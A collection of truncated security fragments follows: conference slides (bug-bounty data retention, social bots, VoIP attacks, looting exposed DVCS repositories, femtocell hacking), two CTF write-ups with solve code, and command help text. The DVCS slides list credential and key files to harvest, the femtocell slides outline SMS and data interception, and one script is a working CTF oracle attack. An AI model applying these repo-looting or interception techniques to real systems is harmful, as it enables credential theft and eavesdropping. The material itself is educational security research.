输出.jar文件默认是$current_dir/[file-name]-dex2jar.jar -os,--optmize-synchronized 同步调整 -p,--print-ir 将ir输出到Syste.out -r,--reuse-reg 生成java的.class文件时循环使用注册表 -s 与--topological-sort/-ts相同 -ts,--topological-sort 以拓扑逻辑整理块能够生成更多可读代码 -v,--verbose 显示进度 版本: 读取器-1.15, 翻译器-0.0.9.15, ir-1.12 ``` ##### dex2jar此工具已被弃用若


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Bug Hunters dump user data. Can they keep it? Well theyre keeping it anyway. Who? Data Protection Ofﬁcer & Privacy Attorney - a lawyer, but not your lawyer Co-Founder of Trufﬂe Security, TrufﬂeHog author, bug hunter, security researcher, etc Whitney Merrill @wbm312 Dylan Ayrey @InsecureNature Do bug hunters touch your data? Job done. Crap. Yes. Not yet Theres data everywhere Data ﬂow diagram Employee laptop XSSHunter* Gmail My Hard drive Time machine Bug tracker *and/or other similarly situated third-party tool XSSHunter isnt clear The bug platform itself This incident isnt isolated All the bug hunters I asked Uh yeah Never hurts to ask Dang. Holy crap that worked. Your PoC exﬁltrated email addresses but it seems other PII could have been hypothetically at risk. The user base was relatively small (a few thousand) as this was an experimental project." Be sure that any PII that was in your PoC should be obfuscated. We are excited that we can be included in your talk and help give back to the security community." Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notiﬁcations? Not to my knowledge. Re: notiﬁcation. We are following our usual privacy incident process, that includes notiﬁcation of customers in case it's necessary. Not sure if it was necessary in this case, our team doesn't see that part of the process." Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notiﬁcations? Not to my knowledge. Wait hold up. Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notiﬁcations? Not to my knowledge. What about other researchers? What about other researchers? https://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/ Making it rain Shubs Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notiﬁcations? Not to his knowledge. What about other researchers? https://samcurry.net/hacking-starbucks/ I tried my best


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Presentation Slides with Notes: Predicting Susceptibility to Social Bots on Twitter by Chris Sumner & Dr. Randall Wald Presented at: Black Hat Briefings 2013 (Las Vegas, NV, USA) & DEF CON 21 (Las Vegas, NV, USA) Slide 1 Predicting Susceptibility to Social Bots on Twitter Chris Sumner & Dr. Randall Wald chris@onlineprivacyfoundation.org & rwald1@fau.edu Welcome to Predicting Susceptibility to Social Bots on Twitter. Im Chris Sumner, representing the Online Privacy Foundation and Im joined by Dr. Randall Wald from Florida Atlantic University. The Online Privacy Foundation is a non-profit, charitable organisation, currently focused on understanding what people might be giving away via social networks without their knowledge. https://www.onlineprivacyfoundation.org/ Before we begin, I want to make sure people have the chance to decide whether this talk is really for them Note: Majority of images via Shutterstock.com Slide 2 Web Ecology Project Tim Hwang Astroturfing Swiftboating Yazan Boshmaf If youre familiar with these names/terms, you may find the first half of this presentation a little on the light/introductory side. Slide 3 Contains some maths We also talk about Statistics and Machine Learning (sometimes referred to as Predictive Analytics). Well keep this to a minimum, but ensure the slide notes contain more detail. Well also include some hidden slides in the hand-outs which provide more details. So on to the talk Slide 4 Its only fitting, since were in Las Vegas, that we talk about odds. Slide 5 Goal = Improve the odds The goal of our work was to see if we could improve the odds of finding users more likely to respond to a relatively crude twitter bot While it would be interesting, we never expected to be able to predict susceptibility with laser like accuracy. Predictions need not be accurate to score big value (page 10 - Book. Predictive analytics  The power to predict who will click, buy, lie or die  Eric Siegel) Ref: Siegel, E. 2013. Predictive analytics. H


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# Baby DLP (crypto) ## ENG [PL](#pl-version) In the task we get [server code](server.py) to analyse. In short we can send to the server a number `s` and server responds with `c = pow(2, flag  s, p)`. Our goal is, of course, to recover the flag. As the taks name suggests, if we could calculate discrete logarithm, we could easily get back the flag. But it's not the only way. Let's look closely what the server does - it XORs the exponent with a value we provide! What would happen if we flip a single bit in the exponent? - If we change `k-th` bit from 0 to 1 then we simply add `2**k` to the exponent. It means that `c' = pow(2, flag + 2**k, p) = c * pow(2, 2**k, p) mod p` - Otherwise we must have changed `k-th` bit from 1 to 0. Flipping a single bit is trivial, we simply need to send as input a number which has only a single high bit as `k-th` position, and this will flip the `k-th` bit of the `flag` on the server. So the solution is: 1. Send `0` as input to recover original `c` value from the server 2. Send `1`,`2`,`4`,...,`2**k` as input and check if `result == c * pow(2, 2**k, p) % p` and if it is then `k-th` bit was originally `0`, otherwise it was `1` ```python from Crypto.Util.number import size, long_to_bytes from crypto_commons.netcat.netcat_commons import nc, send def main(): url = 'ppc2.chal.ctf.westerns.tokyo' port = 28459 s = nc(url, port) p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201 g = 2 send(s, '0') reference = int(s.recv(99999)[2:], 16) # original ciphertext payload = 1L bits = [] for i in range(size(p)): print('testing ', i) send(s, hex(payload)[2:-1]) result = int(s.recv(99999)[2:], 16) if result == (reference * pow(g, payload, p)) % p: bits.append('0') else: bits.append('1') payload <<= 1


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uncompress === 用来解压.Z文件 ## 补充说明 **uncompress命令** 用来解压缩由compress命令压缩后产生的.Z压缩包 ### 语法 ```shell uncompress(选项)(参数) ``` ### 选项 ```shell -f不提示用户强制覆盖掉目标文件 -c将结果送到标准输出无文件被改变 -r递归的操作方式 ``` ### 参数 文件指定要压缩的.Z压缩包 ### 实例 先创建一个.Z压缩文件 ```shell compress FileName ``` 解压 ```shell uncompress FileName.Z ```


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# 杂记 企业安全建设领域内主要和管理运营相关的一些杂记 - 多刷存在感有时甚至是一些宣传工作例如做成日常安全教育的漫画贴在公司的电梯间因为做信息安全经常遇到的一个问题就是做得好没有存在感出了事情就背锅在这种大环境下安全负责人和团队其实要更多地在公司和全员面前刷存在感让大家都知道我们在做事情并且是在做有意义的事情让大家明白我们在做什么事情也会更加配合我们的工作这样就慢慢会成为一个良心循环当然其中会有各种细节需要考虑


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www.senseofsecurity.com.au  Sense of Security 2013 Page #  13-Sep-13 Compliance, Protection & Business Confidence Sense of Security Pty Ltd ! Sydney Level 8, 66 King Street Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Drv Docklands VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 info@senseofsecurity.com.au www.senseofsecurity.com.au ABN: 14 098 237 908 VoIP Wars: Attack of the Cisco Phones www.senseofsecurity.com.au  Sense of Security 2014 Page of 58  Aug-14 Speaker  Fatih Ozavci  Senior Security Consultant  Interests  VoIP  Mobile Applications  Network Infrastructure !  Author of Viproy VoIP Penetration Testing Kit  Public Speaker  Defcon, BlackHat Arsenal, AusCert, Ruxcon 2 www.senseofsecurity.com.au  Sense of Security 2014 Page of 58  Aug-14 Viproy VoIP Toolkit  Viproy is a Vulcan-ish Word that means "Call"  Viproy VoIP Penetration and Exploitation Kit  Testing modules for Metasploit, MSF license  Old techniques, new approach  SIP library for new module development  Custom header support, authentication support  Trust analyser, SIP proxy bounce, MITM proxy, Skinny, VOSS  Modules  Options, Register, Invite, Message  Brute-forcers, Enumerator  SIP trust analyser,SIP proxy, Fake service  Skinny analysers, VOSS exploits 3 www.senseofsecurity.com.au  Sense of Security 2014 Page of 58  Aug-14 Agenda 1. Hosted VoIP Services and Cisco 101 2. Network Infrastructure 3. Cisco Unified Communications Manager 4. IP Phone and Service Management 5. Attacking Desktop and Mobile Clients 4 www.senseofsecurity.com.au  Sense of Security 2014 Page of 58  Aug-14 Hosted VoIP services 5 www.senseofsecurity.com.au  Sense of Security 2014 Page of 58  Aug-14 Cisco VoIP environment  Web based services  IP Phone services (Cisco, VOSS)  Tenant client services (VOSS Selfcare)  Tenant* management services (Cisco HCS)  VoIP services  Skinny (SCCP) services for Cisco phones  SIP services for other tenant phones  RTP services for media streaming  PBX/


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# F#ck (re 50) ###ENG [PL](#pl-version) In the task we get a [binary](FlagGenerator.exe) which is written in F#. Like every other .NET binary it can be nicely decompiled by ILSpy. With this we didn't even need to reverse the algorithm at all. We simply modified the decompiled code we got so that we could compile it again: ```csharp using System; using System.Globalization; class X { public string str; public int[] ccIndices; internal X(string str, int[] ccIndices) { this.str = str; this.ccIndices = ccIndices; } public string Invoke(int i) { if (i == this.ccIndices.Length - 1) { return this.str.Substring(i); } int num = this.ccIndices[i]; return this.str.Substring(num, this.ccIndices[i + 1] - num); } } public class Test { public static string get_flag(string str) { int[] array = StringInfo.ParseCombiningCharacters(str); int num = array.Length; X fSharpFunc = new X(str, array); string[] array2 = new string[num]; int num2 = 0; int num3 = num - 1; if (num3 >= num2) { do { array2[num2] = fSharpFunc.Invoke(num2); num2++; } while (num2 != num3 + 1); } string[] array3 = array2; Array.Reverse(array3); return string.Join("", array3); } public static void Main() { Console.WriteLine(get_flag("t#hs_siht_kc#f")); } } ``` And we got `EKO{f#ck_this_sh#t}`. ###PL version W zadaniu dostajemy [program](FlagGenerator.exe) napisany w F#. Jak każda inna binarka .NET można go ładnie zdekompilować za pomocą ILSpy. Uzyskujemy w ten sposób dość ładny kod i nie było potrzeby nawet reversować algorytmu. Zmodyfikowaliśmy uzyskany kod tak, żeby dało się go skompilować i uruchomić: ```csharp using System; using System.Globalization; class X { public string str; public int[] ccIndices; internal X(string str, int[] ccIndices) { this.str = str; this.ccIndices = ccIndices; } public string Invoke(int i) { if (i == this.ccIndices.Length - 1) { return this.str.Substring(i); } int num = this.ccIndices[i]; return this.str.Substring(num, this.ccIndices[i + 1] - num); } } public class Test { public static s


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DEFCON 19 // Adam Baldwin Pillaging DVCS Repos ...for fun and profit $ whoami Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin @adam_baldwin Co-Founder of nGenuity Pentester of webs evilpacket.net WTF is DVCS Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Objectives Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Identify web accessible repos Pillage as much info as possible ??? Proﬁt Alexa top million sites Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin GIT HG BZR GIT: 1498 repos HG: 312 repos BZR: 235 repos Repo Identiﬁcation Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin GIT: .git/HEAD HG: .hg/requires BZR: .bzr/README http://example.com/.git/HEAD W3AF Plugin Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Cloning Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin 0. Check for dir browsing 1. Get predictable ﬁles 2. List repo ﬁles 3. Download references to ﬁles 4. Restore the repo (if possible) Pillaging Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Platform details (.php, .cgi, etc) Downloadable ﬁles (.old, .sql) Source Code Credentials / Certs / API Keys Pillaging Ideas Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin .sql / .sql.bz2 .pem conﬁg .bak .sql.gz .xls / .xlsx .ini .cfg .tar / .tar.gz .doc / .docx .sh export htpasswd private .qbw / .mny backup id_rsa .pst / .ost conﬁdential dump / .dmp id_dsa settings .csv .txt Thanks to @ﬂirzan & @quitlahok for some of these! Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Montage of fail <- Twitter API <- Facebook API <- MySpace API <- Google API <- Auth Required? Nope Database Passwords <- SSH Keys htpasswd -> Customer Invoices Demo Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin The Tool Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin https://github.com/ngenuity/DVCS-Pillage Questions? adam@ngenuity-is.com // @adam_baldwin Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin References nGenuity: http://ngenuity-is.com http://ngenuity-is.com/blog/2011/mar/22/gotta-git-up-to-get-dow


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Build a free cellular traffic capture tool with a vxworks based femoto Hacking Femtocell Hacking Femtocell 1 Yuwei Zheng @DEF CON 23 Haoqi Shan @DEF CON 23 From: 360 Unicorn Team Main contents Hacking Femtocell  About us  Why do we need it  How to get a free Femtocell  Deeply Hack  Capture packets  Summary and Reference 2 About us Hack Femtocell  360 Unicorn Team  Radio & Hardware Security Research  Consists of a group of brilliant security researchers  Focus on the security of anything that uses radio technologies  RFID, NFC, WSN  GPS, UAV, Smart Cars, Telecom, SATCOM  Our primary mission  Guarantee that Qihoo360 is not vulnerable to any wireless attack  Qihoo360 protects its users and we protect Qihoo360  One of the Defcon 23 vendors  https://www.defcon.org/html/defcon-23/dc-23-vendors.html 3 About me Hacking Femtocell  Yuwei Zheng  a senior security researcher concentrated in embedded systems  reversed blackberry BBM, PIN, BIS push mail protocol  decrypted the RIM network stream successfully in 2011  finished a MITM attack for blackberry BES  Haoqi Shan  a wireless/radio security researcher in Unicorn Team  obtained bachelor degree of electronic engineering in 2015  focuses on Wi-Fi penetration, GSM system, router/switcher hacking 4 Why do we need it Hacking Femtocell  Research on products integrated cellular modem  Capture and hijack  SMS  Voice  Data traffic 5 Why not software-based GSM base station Hacking Femtocell  OpenBTS  USRP  GNU Radio  Why not?  Data traffic hijack  Access denied to operator core network  NO real uplink & downlink SMS hijack 6 Femtocells advantages Hacking Femtocell  Access to network operator  What a hacked Femtocell can do  SMS and Data traffic  Capture  Hijack  Modify  Even more  Roaming in operators network 7 Use Femtocell in research Hacking Femtocell  Cellular modem integrated devices  Capture or modify control order  SMS  2G  Capture or modify circle data  SMS  2G  Trusted data link?  Find your system vulnerability 8 How to get a